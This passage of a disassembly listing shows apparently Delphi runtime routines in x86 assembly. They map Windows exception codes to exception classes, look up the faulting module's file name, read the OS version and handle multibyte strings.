		mov	ecx, ds:dword_20014240[ebx*8]
		mov	dl, 1
		mov	eax, off_20006470
		call	sub_2000A4E4
		jmp	short loc_2000A6F2
; ---------------------------------------------------------------------------


loc_2000A6D5:				; CODE XREF: sub_2000A69C+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, ds:off_20014424
		mov	dl, 1
		mov	eax, off_20006470
		call	sub_2000A5DC


loc_2000A6F2:				; CODE XREF: sub_2000A69C+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_2000A69C	endp

; ---------------------------------------------------------------------------
		align 4
off_2000A6FC	dd offset dword_2000A700 ; DATA	XREF: CODE:2000BFB7r
dword_2000A700	dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA	XREF: CODE:off_2000A6FCo
		dd offset off_20001000
		dd 4

; =============== S U B	R O U T	I N E =======================================



sub_2000A71C	proc near		; DATA XREF: sub_2000ABA0+33o
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_2000A731
		dec	dl
		jz	short loc_2000A739
		dec	edx
		sub	dl, 16h
		jb	short loc_2000A741
		jmp	short loc_2000A75D
; ---------------------------------------------------------------------------


loc_2000A731:				; CODE XREF: sub_2000A71C+7j
		mov	edx, ds:dword_200157A8
		jmp	short loc_2000A764
; ---------------------------------------------------------------------------


loc_2000A739:				; CODE XREF: sub_2000A71C+Bj
		mov	edx, ds:dword_200157AC
		jmp	short loc_2000A764
; ---------------------------------------------------------------------------


loc_2000A741:				; CODE XREF: sub_2000A71C+11j
		and	eax, 0FFh
		lea	eax, dword_2001425C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_2000A4E4
		mov	edx, eax
		jmp	short loc_2000A764
; ---------------------------------------------------------------------------


loc_2000A75D:				; CODE XREF: sub_2000A71C+13j
		call	sub_2000A69C
		mov	edx, eax


loc_2000A764:				; CODE XREF: sub_2000A71C+1Bj
					; sub_2000A71C+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_20003A08
sub_2000A71C	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A770	proc near		; CODE XREF: sub_2000A82C+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000A80C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_2000A7A5
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_20004040
		jmp	short loc_2000A7B2
; ---------------------------------------------------------------------------


loc_2000A7A5:				; CODE XREF: sub_2000A770+27j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_2001451C
		call	sub_20005994


loc_2000A7B2:				; CODE XREF: sub_2000A770+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_2001454C
		call	sub_20005994
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, off_20006B78
		call	sub_2000A520
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000A813


loc_2000A7FB:				; CODE XREF: sub_2000A770+A1j
		lea	eax, [ebp+var_20]
		call	sub_20003FA8
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000A80C:				; DATA XREF: sub_2000A770+1Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000A7FB
; ---------------------------------------------------------------------------


loc_2000A813:				; CODE XREF: sub_2000A770+9Bj
					; DATA XREF: sub_2000A770+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000A770	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000A81C	proc near		; CODE XREF: sub_2000A82C+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_20003A08
sub_2000A81C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A82C	proc near		; DATA XREF: sub_2000ABA0+67o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_2000A770
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_2000A81C
		pop	ebp
		retn	4
sub_2000A82C	endp

; ---------------------------------------------------------------------------
		align 4


loc_2000A848:				; DATA XREF: sub_2000ABA0+74o
		mov	ecx, ds:off_2001443C
		mov	dl, 1
		mov	eax, off_20006BD8
		call	sub_2000A5A0
		call	sub_20003A08
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2000A860	proc near		; CODE XREF: sub_2000A8E0+5p
					; sub_2000AAC4+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_2000A895
		jz	short loc_2000A8C4
		cmp	eax, 0C000008Eh
		jg	short loc_2000A887
		jz	short loc_2000A8C7
		sub	eax, 0C0000005h
		jz	short loc_2000A8D0
		sub	eax, 87h
		jz	short loc_2000A8BE
		dec	eax
		jz	short loc_2000A8CD
		jmp	short loc_2000A8DC
; ---------------------------------------------------------------------------


loc_2000A887:				; CODE XREF: sub_2000A860+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_2000A8C4
		jz	short loc_2000A8CA
		jmp	short loc_2000A8DC
; ---------------------------------------------------------------------------


loc_2000A895:				; CODE XREF: sub_2000A860+7j
		cmp	eax, 0C0000096h
		jg	short loc_2000A8AD
		jz	short loc_2000A8D3
		sub	eax, 0C0000093h
		jz	short loc_2000A8CD
		dec	eax
		jz	short loc_2000A8BB
		dec	eax
		jz	short loc_2000A8C1
		jmp	short loc_2000A8DC
; ---------------------------------------------------------------------------


loc_2000A8AD:				; CODE XREF: sub_2000A860+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_2000A8D9
		sub	eax, 3Dh
		jz	short loc_2000A8D6
		jmp	short loc_2000A8DC
; ---------------------------------------------------------------------------


loc_2000A8BB:				; CODE XREF: sub_2000A860+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------


loc_2000A8BE:				; CODE XREF: sub_2000A860+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------


loc_2000A8C1:				; CODE XREF: sub_2000A860+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------


loc_2000A8C4:				; CODE XREF: sub_2000A860+9j
					; sub_2000A860+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------


loc_2000A8C7:				; CODE XREF: sub_2000A860+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------


loc_2000A8CA:				; CODE XREF: sub_2000A860+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------


loc_2000A8CD:				; CODE XREF: sub_2000A860+23j
					; sub_2000A860+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------


loc_2000A8D0:				; CODE XREF: sub_2000A860+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------


loc_2000A8D3:				; CODE XREF: sub_2000A860+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_2000A8D6:				; CODE XREF: sub_2000A860+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_2000A8D9:				; CODE XREF: sub_2000A860+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------


loc_2000A8DC:				; CODE XREF: sub_2000A860+25j
					; sub_2000A860+33j ...
		mov	al, 16h
		retn
sub_2000A860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000A8E0	proc near		; DATA XREF: sub_2000ABA0+56o
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_2000A860
		and	eax, 0FFh
		mov	eax, ds:dword_2001425C[eax*8]
		pop	ebx
		retn
sub_2000A8E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A8F8	proc near		; CODE XREF: sub_2000AAC4+54p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
Filename	= byte ptr -125h
Buffer		= _MEMORY_BASIC_INFORMATION ptr	-20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000AAB3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_2000A949
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_200145A4
		call	sub_20005994
		jmp	short loc_2000A956
; ---------------------------------------------------------------------------


loc_2000A949:				; CODE XREF: sub_2000A8F8+40j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_20014504
		call	sub_20005994


loc_2000A956:				; CODE XREF: sub_2000A8F8+4Fj
		mov	esi, [ebx+18h]
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		mov	eax, [ebx+0Ch]
		push	eax		; lpAddress
		call	VirtualQuery_0
		cmp	[ebp+Buffer.State], 1000h
		jnz	loc_2000AA28
		push	105h		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		mov	eax, [ebp+Buffer.AllocationBase]
		push	eax		; hModule
		call	GetModuleFileNameA_0
		test	eax, eax
		jz	loc_2000AA28
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+Filename]
		mov	ecx, 105h
		call	sub_20004218
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_200075F4
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, ds:off_2001453C
		call	sub_20005994
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, off_200069B0
		call	sub_2000A520
		mov	ebx, eax
		jmp	short loc_2000AA82
; ---------------------------------------------------------------------------


loc_2000AA28:				; CODE XREF: sub_2000A8F8+77j
					; sub_2000A8F8+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, ds:off_20014508
		call	sub_20005994
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, off_200069B0
		call	sub_2000A520
		mov	ebx, eax


loc_2000AA82:				; CODE XREF: sub_2000A8F8+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000AABA


loc_2000AA8F:				; CODE XREF: sub_2000A8F8+1C0j
		lea	eax, [ebp+var_170]
		call	sub_20003FA8
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_20003FCC
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000AAB3:				; DATA XREF: sub_2000A8F8+2Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000AA8F
; ---------------------------------------------------------------------------


loc_2000AABA:				; CODE XREF: sub_2000A8F8+1BAj
					; DATA XREF: sub_2000A8F8+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000A8F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000AAC4	proc near		; DATA XREF: sub_2000ABA0+61o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000AB7F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_2000A860
		and	eax, 0FFh
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_2000AB00
		jz	short loc_2000AB17
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_2000AB22


loc_2000AB00:				; CODE XREF: sub_2000AAC4+32j
		lea	eax, dword_2001425C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_2000A4E4
		mov	ebx, eax
		jmp	short loc_2000AB52
; ---------------------------------------------------------------------------


loc_2000AB17:				; CODE XREF: sub_2000AAC4+34j
		push	ebp
		call	sub_2000A8F8
		pop	ecx
		mov	ebx, eax
		jmp	short loc_2000AB52
; ---------------------------------------------------------------------------


loc_2000AB22:				; CODE XREF: sub_2000AAC4+3Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_200143EC
		call	sub_20005994
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, off_20006520
		call	sub_2000A520
		mov	ebx, eax


loc_2000AB52:				; CODE XREF: sub_2000AAC4+51j
					; sub_2000AAC4+5Cj
		mov	eax, ebx
		mov	edx, off_200064C8
		call	sub_20003680
		test	al, al
		jz	short loc_2000AB69
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax


loc_2000AB69:				; CODE XREF: sub_2000AAC4+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000AB86


loc_2000AB76:				; CODE XREF: sub_2000AAC4+C0j
		lea	eax, [ebp+var_10]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000AB7F:				; DATA XREF: sub_2000AAC4+12o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000AB76
; ---------------------------------------------------------------------------


loc_2000AB86:				; CODE XREF: sub_2000AAC4+BAj
					; DATA XREF: sub_2000AAC4+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000AAC4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_2000AB90	dd 0FFF887E8h, 1B8FFh, 0F1E80000h, 0C3FFFF93h ;	DATA XREF: sub_2000ABA0+3Eo

; =============== S U B	R O U T	I N E =======================================



sub_2000ABA0	proc near		; CODE XREF: CODE:loc_2000C142p
		mov	ecx, ds:off_2001442C
		mov	dl, 1
		mov	eax, off_20006414
		call	sub_2000A5A0
		mov	ds:dword_200157A8, eax
		mov	ecx, ds:off_200144E0
		mov	dl, 1
		mov	eax, off_2000689C
		call	sub_2000A5A0
		mov	ds:dword_200157AC, eax
		mov	eax, ds:off_200143F8
		mov	dword ptr [eax], offset	sub_2000A71C
		mov	eax, ds:off_2001445C
		mov	dword ptr [eax], offset	dword_2000AB90
		mov	eax, ds:off_20014420
		mov	edx, off_20006350
		mov	[eax], edx
		mov	eax, ds:off_20014454
		mov	dword ptr [eax], offset	sub_2000A8E0
		mov	eax, ds:off_20014460
		mov	dword ptr [eax], offset	sub_2000AAC4
		mov	eax, offset sub_2000A82C
		mov	edx, ds:off_200144F4
		mov	[edx], eax
		mov	eax, offset loc_2000A848
		mov	edx, ds:off_200143E8
		mov	[edx], eax
		retn
sub_2000ABA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AC24	proc near		; CODE XREF: CODE:2000BFA8p
		cmp	ds:dword_200157A8, 0
		jz	short loc_2000AC47
		mov	eax, ds:dword_200157A8
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_200157A8
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_200157A8, eax


loc_2000AC47:				; CODE XREF: sub_2000AC24+7j
		cmp	ds:dword_200157AC, 0
		jz	short loc_2000AC6A
		mov	eax, ds:dword_200157AC
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_200157AC
		call	sub_200034F4
		xor	eax, eax
		mov	ds:dword_200157AC, eax


loc_2000AC6A:				; CODE XREF: sub_2000AC24+2Aj
		mov	eax, ds:off_200143F8
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_2001445C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_20014420
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_20014454
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_20014460
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_200144F4
		xor	edx, edx
		mov	[eax], edx
		retn
sub_2000AC24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000ACA4	proc near		; CODE XREF: CODE:2000C147p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp		; lpVersionInformation
		call	GetVersionExA
		test	eax, eax
		jz	short loc_2000AD0B
		mov	eax, [esp+94h+var_84]
		mov	ds:dword_200140E4, eax
		mov	eax, [esp+94h+var_90]
		mov	ds:dword_200140E8, eax
		mov	eax, [esp+94h+var_8C]
		mov	ds:dword_200140EC, eax
		cmp	ds:dword_200140E4, 1
		jnz	short loc_2000ACEF
		mov	eax, [esp+94h+var_88]
		and	eax, 0FFFFh
		mov	ds:dword_200140F0, eax
		jmp	short loc_2000ACF8
; ---------------------------------------------------------------------------


loc_2000ACEF:				; CODE XREF: sub_2000ACA4+39j
		mov	eax, [esp+94h+var_88]
		mov	ds:dword_200140F0, eax


loc_2000ACF8:				; CODE XREF: sub_2000ACA4+49j
		mov	eax, offset dword_200140F4
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_20004218


loc_2000AD0B:				; CODE XREF: sub_2000ACA4+15j
		add	esp, 94h
		retn
sub_2000ACA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AD14	proc near		; CODE XREF: sub_2000AD8C+1Bp
					; sub_2000ADB0+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_2000AD84
		cmp	byte ptr [eax+edi], 0
		jz	short loc_2000AD84
		test	edi, edi
		jnz	short loc_2000AD3C
		mov	al, [eax]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000AD84
		mov	dl, 1
		jmp	short loc_2000AD84
; ---------------------------------------------------------------------------


loc_2000AD3C:				; CODE XREF: sub_2000AD14+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_2000AD42
; ---------------------------------------------------------------------------


loc_2000AD41:				; CODE XREF: sub_2000AD14+42j
		dec	esi


loc_2000AD42:				; CODE XREF: sub_2000AD14+2Bj
		test	esi, esi
		jl	short loc_2000AD58
		mov	cl, [eax+esi]
		and	ecx, 0FFh
		bt	ds:dword_2001412C, ecx
		jb	short loc_2000AD41


loc_2000AD58:				; CODE XREF: sub_2000AD14+30j
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_2000AD69
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx


loc_2000AD69:				; CODE XREF: sub_2000AD14+4Ej
		test	ecx, ecx
		jnz	short loc_2000AD71
		mov	dl, 2
		jmp	short loc_2000AD84
; ---------------------------------------------------------------------------


loc_2000AD71:				; CODE XREF: sub_2000AD14+57j
		mov	al, [eax+edi]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000AD84
		mov	dl, 1


loc_2000AD84:				; CODE XREF: sub_2000AD14+8j
					; sub_2000AD14+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_2000AD14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AD8C	proc near		; CODE XREF: sub_200075A4+37p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000ADAC
		mov	eax, ebx
		call	sub_20004444
		mov	edx, esi
		dec	edx
		call	sub_2000AD14


loc_2000ADAC:				; CODE XREF: sub_2000AD8C+Fj
		pop	esi
		pop	ebx
		retn
sub_2000AD8C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000ADB0	proc near		; CODE XREF: sub_20007824+1Bp
					; sub_2000B074+4Ap ...
		xor	ecx, ecx
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000ADC2
		call	sub_2000AD14
		mov	ecx, eax


loc_2000ADC2:				; CODE XREF: sub_2000ADB0+9j
		mov	eax, ecx
		retn
sub_2000ADB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000ADC8	proc near		; CODE XREF: sub_20008990+E4p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004244
		cmp	esi, eax
		jle	short loc_2000ADE2
		mov	eax, ebx
		call	sub_20004244
		mov	esi, eax


loc_2000ADE2:				; CODE XREF: sub_2000ADC8+Fj
		mov	edx, esi
		mov	eax, ebx
		call	sub_2000ADF0
		pop	esi
		pop	ebx
		retn
sub_2000ADC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000ADF0	proc near		; CODE XREF: sub_2000ADC8+1Ep
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		xor	edi, edi
		test	esi, esi
		jle	short loc_2000AE42
		mov	eax, ebx
		call	sub_20004244
		cmp	esi, eax
		jg	short loc_2000AE42
		mov	edi, esi
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000AE42
		mov	eax, 1
		xor	edi, edi
		cmp	esi, eax
		jl	short loc_2000AE42


loc_2000AE1E:				; CODE XREF: sub_2000ADF0+50j
		mov	dl, [ebx+eax-1]
		and	edx, 0FFh
		bt	ds:dword_2001412C, edx
		jnb	short loc_2000AE3C
		mov	edx, eax
		mov	eax, ebx
		call	sub_2000B000
		jmp	short loc_2000AE3D
; ---------------------------------------------------------------------------


loc_2000AE3C:				; CODE XREF: sub_2000ADF0+3Fj
		inc	eax


loc_2000AE3D:				; CODE XREF: sub_2000ADF0+4Aj
		inc	edi
		cmp	esi, eax
		jge	short loc_2000AE1E


loc_2000AE42:				; CODE XREF: sub_2000ADF0+Bj
					; sub_2000ADF0+16j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000ADF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000AE48	proc near		; CODE XREF: sub_2000AED8+35p
					; sub_2000AF3C+38p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, edi
		call	sub_20004244
		mov	[ebp+var_C], eax
		mov	esi, 1
		mov	ebx, 1
		jmp	short loc_2000AE90
; ---------------------------------------------------------------------------


loc_2000AE6F:				; CODE XREF: sub_2000AE48+50j
		inc	esi
		mov	al, [edi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000AE8F
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000B000
		mov	ebx, eax
		jmp	short loc_2000AE90
; ---------------------------------------------------------------------------


loc_2000AE8F:				; CODE XREF: sub_2000AE48+38j
		inc	ebx


loc_2000AE90:				; CODE XREF: sub_2000AE48+25j
					; sub_2000AE48+45j
		cmp	ebx, [ebp+var_C]
		jge	short loc_2000AE9A
		cmp	esi, [ebp+var_4]
		jl	short loc_2000AE6F


loc_2000AE9A:				; CODE XREF: sub_2000AE48+4Bj
		cmp	esi, [ebp+var_4]
		jnz	short loc_2000AEC2
		cmp	ebx, [ebp+var_C]
		jge	short loc_2000AEC2
		mov	al, [edi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000AEC2
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000B000
		dec	eax
		mov	ebx, eax


loc_2000AEC2:				; CODE XREF: sub_2000AE48+55j
					; sub_2000AE48+5Aj ...
		mov	eax, [ebp+var_8]
		mov	[eax], esi
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_2000AE48	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000AED8	proc near		; CODE XREF: sub_20008990+F5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		test	ebx, ebx
		jle	short loc_2000AF34
		mov	eax, esi
		call	sub_20004244
		cmp	ebx, eax
		jg	short loc_2000AF34
		cmp	ebx, 1
		jle	short loc_2000AF31
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000AF31
		push	esp
		lea	ecx, [esp+14h+var_C]
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_2000AE48
		dec	ebx
		cmp	ebx, [esp+10h+var_C]
		jg	short loc_2000AF25
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [esp+10h+var_10]
		jg	short loc_2000AF2C


loc_2000AF25:				; CODE XREF: sub_2000AED8+3Fj
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_2000AF34
; ---------------------------------------------------------------------------


loc_2000AF2C:				; CODE XREF: sub_2000AED8+4Bj
		inc	[esp+10h+var_10]
		jmp	short loc_2000AF34
; ---------------------------------------------------------------------------


loc_2000AF31:				; CODE XREF: sub_2000AED8+20j
					; sub_2000AED8+29j
		mov	[esp+10h+var_10], ebx


loc_2000AF34:				; CODE XREF: sub_2000AED8+10j
					; sub_2000AED8+1Bj ...
		mov	eax, [esp+10h+var_10]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_2000AED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000AF3C	proc near		; CODE XREF: sub_20008990+BBp
					; sub_20008990+11Dp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		test	ebx, ebx
		jle	short loc_2000AF94
		mov	eax, esi
		call	sub_20004244
		cmp	ebx, eax
		jle	short loc_2000AF62
		mov	eax, esi
		call	sub_20004244
		mov	ebx, eax


loc_2000AF62:				; CODE XREF: sub_2000AF3C+1Bj
		cmp	byte ptr ds:dword_20015760, 0
		jz	short loc_2000AF91
		push	esp
		lea	ecx, [esp+14h+var_C]
		mov	edx, ebx
		mov	eax, esi
		call	sub_2000AE48
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [esp+10h+var_10]
		jge	short loc_2000AF94
		mov	eax, esi
		call	sub_20004244
		mov	[esp+10h+var_10], eax
		jmp	short loc_2000AF94
